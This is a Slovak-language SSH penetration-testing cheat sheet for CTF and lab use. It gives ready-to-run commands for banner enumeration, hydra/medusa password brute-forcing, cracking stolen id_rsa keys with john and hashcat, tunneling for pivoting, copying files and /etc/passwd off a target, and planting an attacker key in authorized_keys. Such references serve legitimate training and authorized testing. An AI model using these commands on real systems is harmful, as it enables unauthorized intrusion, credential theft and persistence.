SSH (Port 22)
Obsah
- Enumeration
- Pripojenie
- Bruteforce
- Cracking zaheslovaného kľúča (id_rsa)
- SSH Tunneling
- Zaujímavé súbory po prihlásení
- Užitočné triky
- Časté zraniteľnosti
- Kontrola verzie voči CVE
SSH (Port 22) – Cheatsheet
Vyhlásenie: Obsah slúži výhradne na vzdelávacie účely, tréning v kontrolovaných laboch (CTF, HTB, THM, VulnHub) a autorizované bezpečnostné testovanie s písomným súhlasom vlastníka systému. Neautorizované skenovanie, útok alebo zneužitie cudzích systémov je trestné. Autor nezodpovedá za zneužitie uvedených postupov tretími stranami.
Enumeration
nmap -sV -sC -p 22 # verzia + default skripty
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" # zisti auth metódy
nmap -p 22 --script ssh-hostkey # zobraz host key
ssh # zobraz banner a verziu
nc -nv 22 # manuálny banner grab
Pripojenie
ssh user@
ssh user@ -p 2222 # iný port
ssh -i id_rsa user@ # pomocou privátneho kľúča
chmod 600 id_rsa # nutné pred použitím kľúča!
ssh -v user@ # verbose – debug pripojenia
ssh -o StrictHostKeyChecking=no user@ # preskočiť overenie host key
Bruteforce
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://
hydra -L users.txt -P passwords.txt ssh://
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh:// -t 4 # počet vlákien
medusa -h -u user -P rockyou.txt -M ssh
ncrack -p 22 --user user -P rockyou.txt
Cracking zaheslovaného kľúča (id_rsa)
# Konverzia pre John
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Alternatíva – hashcat
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
hashcat -a 0 -m 22921 hash.txt /usr/share/wordlists/rockyou.txt
SSH Tunneling
# Local port forwarding – sprístupni vzdialený port lokálne
ssh -L 8080:localhost:80 user@
# → localhost:8080 presmeruje na :80
# Dynamic SOCKS proxy
ssh -D 1080 user@
# → nastav proxychains na port 1080 (/etc/proxychains.conf)
# → proxychains nmap -sT
# Remote port forwarding – sprístupni lokálny port na vzdialenom stroji
ssh -R 4444:localhost:4444 user@
# SSH cez jump host (bastion)
ssh -J jumpuser@ targetuser@
# Udržanie tunela nažive
ssh -N -f -L 8080:localhost:80 user@
# -N = nespúšťaj príkaz, -f = beh na pozadí
Zaujímavé súbory po prihlásení
~/.ssh/authorized_keys # povolené verejné kľúče
~/.ssh/id_rsa # privátny kľúč (skopíruj a cracki!)
~/.ssh/known_hosts # navštívené hosty → možné ďalšie ciele
/etc/ssh/sshd_config # konfigurácia SSH démona
/var/log/auth.log # auth logy (Debian/Ubuntu)
/var/log/secure # auth logy (RHEL/CentOS)
Užitočné triky
# Skopíruj súbor zo vzdialeného stroja
scp user@:/path/to/file .
# Skopíruj celý adresár
scp -r user@:/path/to/dir .
# Vykonaj príkaz bez interaktívnej session
ssh user@ "cat /etc/passwd"
# Generuj SSH kľúčový pár
ssh-keygen -t rsa -b 4096 -f ./mykey
# Pridaj vlastný verejný kľúč na cieľ (ak máš zápis)
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
Časté zraniteľnosti
| Zraniteľnosť | Popis |
|---|---|
| Slabé/default credentials | Najčastejší nález, hydra/medusa |
| Zaheslovaný kľúč | Crackovateľný slovníkovým útokom (ssh2john) |
| Username enumeration | Staršie verzie OpenSSH (< 7.7) – CVE-2018-15473 |
| Staré verzie OpenSSH | Rôzne CVE – vždy over verziu voči exploit-db |
| Authorized_keys writeable | Ak môžeš zapisovať, pridaj vlastný kľúč |
| Agent forwarding zneužitie | Ak je ForwardAgent yes, možný pivoting |
# Username enumeration (CVE-2018-15473)
python3 ssh_user_enum.py --userList users.txt --hostname
# https://github.com/Sait-Nuri/CVE-2018-15473
Kontrola verzie voči CVE
ssh -V # lokálna verzia
nmap -sV -p 22 # vzdialená verzia
searchsploit openssh # hľadaj exploity